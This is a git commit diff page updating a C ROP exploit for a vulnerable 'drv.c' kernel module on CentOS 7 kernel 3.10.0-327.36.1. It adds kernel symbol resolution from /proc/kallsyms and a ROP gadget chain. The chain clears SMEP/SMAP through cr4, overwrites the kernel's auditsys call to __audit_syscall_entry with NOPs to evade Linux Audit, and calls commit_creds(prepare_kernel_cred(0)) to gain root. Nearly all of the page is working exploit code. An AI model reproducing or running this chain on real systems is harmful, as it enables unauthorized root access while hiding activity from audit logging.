adjust for 3.10.0-327.36.1.el7.x86_64
This commit is contained in:
parent
5564505b57
commit
ce30b9df80
138
rop_exploit.c
138
rop_exploit.c
@ -1,8 +1,8 @@
|
|||||||
/**
|
/**
|
||||||
* ROP exploit for drv.c kernel module
|
* ROP exploit for drv.c kernel module
|
||||||
*
|
*
|
||||||
* Tested in:
|
* Tested in CentOS Linux release 7.2.1511 (Core):
|
||||||
* Linux 3.10.0-327.28.3.el7.x86_64 - CentOS Linux release 7.2.1511 (Core)
|
* Linux 3.10.0-327.36.1.el7.x86_64
|
||||||
* qemu 2.5.0 / i7-4500U
|
* qemu 2.5.0 / i7-4500U
|
||||||
*
|
*
|
||||||
* Compile:
|
* Compile:
|
||||||
@ -13,6 +13,8 @@
|
|||||||
*
|
*
|
||||||
* Based on Vitaly Nikolenko's work:
|
* Based on Vitaly Nikolenko's work:
|
||||||
* https://github.com/vnik5287/kernel_rop/
|
* https://github.com/vnik5287/kernel_rop/
|
||||||
|
*
|
||||||
|
* Additional thanks to spender!
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#define _GNU_SOURCE
|
#define _GNU_SOURCE
|
||||||
@ -26,6 +28,7 @@
|
|||||||
#include <errno.h>
|
#include <errno.h>
|
||||||
#include <sys/mman.h>
|
#include <sys/mman.h>
|
||||||
#include <assert.h>
|
#include <assert.h>
|
||||||
|
#include <sys/utsname.h>
|
||||||
#include "drv.h"
|
#include "drv.h"
|
||||||
|
|
||||||
#define DEVICE_PATH "/dev/vulndrv"
|
#define DEVICE_PATH "/dev/vulndrv"
|
||||||
@ -34,6 +37,11 @@ unsigned long user_cs;
|
|||||||
unsigned long user_ss;
|
unsigned long user_ss;
|
||||||
unsigned long user_rflags;
|
unsigned long user_rflags;
|
||||||
|
|
||||||
|
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||||
|
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||||
|
_commit_creds commit_creds;
|
||||||
|
_prepare_kernel_cred prepare_kernel_cred;
|
||||||
|
|
||||||
static void save_state() {
|
static void save_state() {
|
||||||
asm(
|
asm(
|
||||||
"movq %%cs, %0\n"
|
"movq %%cs, %0\n"
|
||||||
@ -52,6 +60,79 @@ void shell(void) {
|
|||||||
exit(0);
|
exit(0);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
int __attribute__((regparm(3))) get_root()
|
||||||
|
{
|
||||||
|
commit_creds(prepare_kernel_cred(0));
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
static unsigned long get_kernel_sym(char *name)
|
||||||
|
{
|
||||||
|
FILE *f;
|
||||||
|
unsigned long addr;
|
||||||
|
char dummy;
|
||||||
|
char sname[512];
|
||||||
|
struct utsname ver;
|
||||||
|
int ret;
|
||||||
|
int rep = 0;
|
||||||
|
int oldstyle = 0;
|
||||||
|
f = fopen("/proc/kallsyms", "r");
|
||||||
|
if (f == NULL) {
|
||||||
|
f = fopen("/proc/ksyms", "r");
|
||||||
|
if (f == NULL)
|
||||||
|
goto fallback;
|
||||||
|
oldstyle = 1;
|
||||||
|
}
|
||||||
|
repeat:
|
||||||
|
ret = 0;
|
||||||
|
while(ret != EOF) {
|
||||||
|
if (!oldstyle)
|
||||||
|
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||||
|
else {
|
||||||
|
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
|
||||||
|
if (ret == 2) {
|
||||||
|
char *p;
|
||||||
|
if (strstr(sname, "_O/") || strstr(sname, "_S."))
|
||||||
|
continue;
|
||||||
|
p = strrchr(sname, '_');
|
||||||
|
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
|
||||||
|
p = p - 4;
|
||||||
|
while (p > (char *)sname && *(p - 1) == '_')
|
||||||
|
p--;
|
||||||
|
*p = '\0';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (ret == 0) {
|
||||||
|
fscanf(f, "%s\n", sname);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (!strcmp(name, sname)) {
|
||||||
|
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
|
||||||
|
fclose(f);
|
||||||
|
return addr;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fclose(f);
|
||||||
|
if (rep)
|
||||||
|
return 0;
|
||||||
|
fallback:
|
||||||
|
/* didn't find the symbol, let's retry with the System.map
|
||||||
|
dedicated to the pointlessness of Russell Coker's SELinux
|
||||||
|
test machine (why does he keep upgrading the kernel if
|
||||||
|
"all necessary security can be provided by SE Linux"?)
|
||||||
|
*/
|
||||||
|
uname(&ver);
|
||||||
|
if (strncmp(ver.release, "2.6", 3))
|
||||||
|
oldstyle = 1;
|
||||||
|
sprintf(sname, "/boot/System.map-%s", ver.release);
|
||||||
|
f = fopen(sname, "r");
|
||||||
|
if (f == NULL)
|
||||||
|
return 0;
|
||||||
|
rep = 1;
|
||||||
|
goto repeat;
|
||||||
|
}
|
||||||
|
|
||||||
void usage(char *bin_name) {
|
void usage(char *bin_name) {
|
||||||
fprintf(stderr, "%s array_offset_decimal array_base_address_hex\n", bin_name);
|
fprintf(stderr, "%s array_offset_decimal array_base_address_hex\n", bin_name);
|
||||||
}
|
}
|
||||||
@ -68,6 +149,11 @@ int main(int argc, char *argv[])
|
|||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// commit_creds = (_commit_creds) 0xffffffff810ac980UL;
|
||||||
|
// prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810acc90UL;
|
||||||
|
commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
|
||||||
|
prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* req.offset
|
* req.offset
|
||||||
* when xchg_esp_eax_ret_N_rop_gadget % 8 == 0,
|
* when xchg_esp_eax_ret_N_rop_gadget % 8 == 0,
|
||||||
@ -99,17 +185,17 @@ int main(int argc, char *argv[])
|
|||||||
|
|
||||||
// fake_stack begins here
|
// fake_stack begins here
|
||||||
fake_stack = (unsigned long *)(stack_addr);
|
fake_stack = (unsigned long *)(stack_addr);
|
||||||
*fake_stack ++= 0xffffffff8107c2c4UL; /* pop %rdi; ret */
|
*fake_stack ++= 0xffffffff8100359fUL; // : nop ; ret
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* In reality 0x14ff was 0x9d57:
|
* In reality 0x14ff was 0x9d57:
|
||||||
* $ grep 0x14ff $(uname -r).gadgets
|
* $ grep 0x14ff $(uname -r).gadgets
|
||||||
* 0xffffffff810e03d8 : xchg eax, esp ; ret 0x14ff
|
* 0xffffffff810e03f8: xchg eax, esp ; ret 0x14ff
|
||||||
*
|
*
|
||||||
* $ sudo gdb /boot/vmlinuz-$(uname -r) /proc/kcore
|
* $ sudo gdb /boot/vmlinuz-$(uname -r) /proc/kcore
|
||||||
* (gdb) x/2i 0xffffffff810e03d8
|
* (gdb) x/2xi 0xffffffff810e03f8
|
||||||
* 0xffffffff810e03d8: xchg %eax,%esp
|
* 0xffffffff810e03f8: xchg esp,eax
|
||||||
* 0xffffffff810e03d9: retq $0x9d57
|
* 0xffffffff810e03f9: ret 0x9d57
|
||||||
*/
|
*/
|
||||||
|
|
||||||
// Update fake_stack's pointer
|
// Update fake_stack's pointer
|
||||||
@ -124,6 +210,7 @@ int main(int argc, char *argv[])
|
|||||||
* 0xffffffff8107c2c4 : pop rdi ; ret
|
* 0xffffffff8107c2c4 : pop rdi ; ret
|
||||||
*
|
*
|
||||||
*/
|
*/
|
||||||
|
*fake_stack ++= 0xffffffff81114705UL; // pop %rdi; ret
|
||||||
*fake_stack ++= 0x6f0UL; // disabled SMEP and SMAP
|
*fake_stack ++= 0x6f0UL; // disabled SMEP and SMAP
|
||||||
*fake_stack ++= 0xffffffff8100328dUL; // (Intel) mov cr4, rdi ; pop rbp ; ret
|
*fake_stack ++= 0xffffffff8100328dUL; // (Intel) mov cr4, rdi ; pop rbp ; ret
|
||||||
*fake_stack ++= 0xdeadbeefUL; // dummy
|
*fake_stack ++= 0xdeadbeefUL; // dummy
|
||||||
@ -133,36 +220,41 @@ int main(int argc, char *argv[])
|
|||||||
* bypass syscall audit configuration without fully disabling Linux Audit system.
|
* bypass syscall audit configuration without fully disabling Linux Audit system.
|
||||||
*
|
*
|
||||||
* /proc/kallsyms:
|
* /proc/kallsyms:
|
||||||
* ffffffff81646c0f t auditsys
|
* ffffffff81646acf t auditsys
|
||||||
* ffffffff8110b940 T __audit_syscall_entry
|
* ffffffff8110b960 T __audit_syscall_entry
|
||||||
*
|
*
|
||||||
* $ objdump -D vmlinux |grep -A1 -B1 ffffffff81646c1e
|
* gdb> x/1xi 0xffffffff81646acf+15
|
||||||
* ffffffff81646c1b: 48 89 c7 mov %rax,%rdi
|
* 0xffffffff81646ade: call 0xffffffff8110b960 <-- auditsys+15 calls __audit_syscall_entry
|
||||||
* ffffffff81646c1e: e8 1d 4d ac ff callq 0xffffffff8110b940 <-- auditsys+15 calls __audit_syscall_entry
|
*
|
||||||
* ffffffff81646c23: 4c 8b 1c 24 mov (%rsp),%r11
|
* NOTE: This will not work if kernel was built witth enabled CONFIG_DEBUG_RODATA (Write protect kernel read-only data structures)
|
||||||
*/
|
*/
|
||||||
|
|
||||||
*fake_stack ++= 0xffffffff81077cb7UL; // pop %rdx; ret
|
*fake_stack ++= 0xffffffff81077d17UL; // pop %rdx; ret
|
||||||
*fake_stack ++= 0x9090909090909090UL; // rdx is: NOP (will be used to overwrite auditsys's callq __audit_syscall_entry)
|
*fake_stack ++= 0x9090909090909090UL; // rdx is: NOP (will be used to overwrite auditsys's callq __audit_syscall_entry)
|
||||||
*fake_stack ++= 0xffffffff8107c2c4UL; // pop %rdi; ret
|
*fake_stack ++= 0xffffffff81114705UL; // pop %rdi; ret
|
||||||
*fake_stack ++= 0xffffffff81646c1eUL; // rdi is: auditsys+15 (0xffffffff81646c1e: callq 0xffffffff8110b940)
|
*fake_stack ++= 0xffffffff81646adeUL; // rdi is: auditsys+15
|
||||||
*fake_stack ++= 0xffffffff812fc0a6UL; // mov qword ptr [rdi], rdx ; ret (overwrite)
|
*fake_stack ++= 0xffffffff812fba16UL; // mov qword ptr [rdi], rdx ; ret (overwrite)
|
||||||
|
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* To switch our process's owner to root, it is enough to execute:
|
* To switch our process's owner to root, it is enough to execute:
|
||||||
* commit_creds(prepare_kernel_cred(0)) syscalls
|
* commit_creds(prepare_kernel_cred(0)) syscalls
|
||||||
* rdx(rax(0))
|
* rdx(rax(0))
|
||||||
|
*
|
||||||
|
* You can also try using get_root function instead of a bare ROP
|
||||||
*/
|
*/
|
||||||
*fake_stack ++= 0xffffffff8107c2c4UL; // pop %rdi; ret
|
|
||||||
|
// *fake_stack ++= (unsigned long)get_root;
|
||||||
|
|
||||||
|
*fake_stack ++= 0xffffffff81114705UL; // pop %rdi; ret
|
||||||
*fake_stack ++= 0x0UL; // rdi is NULL
|
*fake_stack ++= 0x0UL; // rdi is NULL
|
||||||
*fake_stack ++= 0xffffffff810acc60UL; // prepare_kernel_cred() and $rax points to cred struct
|
*fake_stack ++= 0xffffffff810acc90UL; // prepare_kernel_cred() and $rax points to cred struct
|
||||||
|
|
||||||
*fake_stack ++= 0xffffffff81077cb7UL; // pop %rdx; ret
|
*fake_stack ++= 0xffffffff81077d17UL; // pop %rdx; ret
|
||||||
// *fake_stack ++= 0xffffffff810ac950UL; // commit_creds()
|
// // *fake_stack ++= 0xffffffff810ac980UL; // commit_creds()
|
||||||
*fake_stack ++= 0xffffffff810ac956UL; // commit_creds() + 2 instructions
|
*fake_stack ++= 0xffffffff810ac986UL; // commit_creds() + skip first push instruction
|
||||||
|
|
||||||
*fake_stack ++= 0xffffffff81016d77UL; // mov %rax, %rdi; call %rdx => calls commit_creds(prepare_kernel_cred(0))
|
*fake_stack ++= 0xffffffff81016d77UL; // mov rdi, rax ; call rdx => calls commit_creds(prepare_kernel_cred(0))
|
||||||
|
|
||||||
|
|
||||||
// safely return to user-space from the kernel-space
|
// safely return to user-space from the kernel-space
|
||||||
|
Loading…
Reference in New Issue
Block a user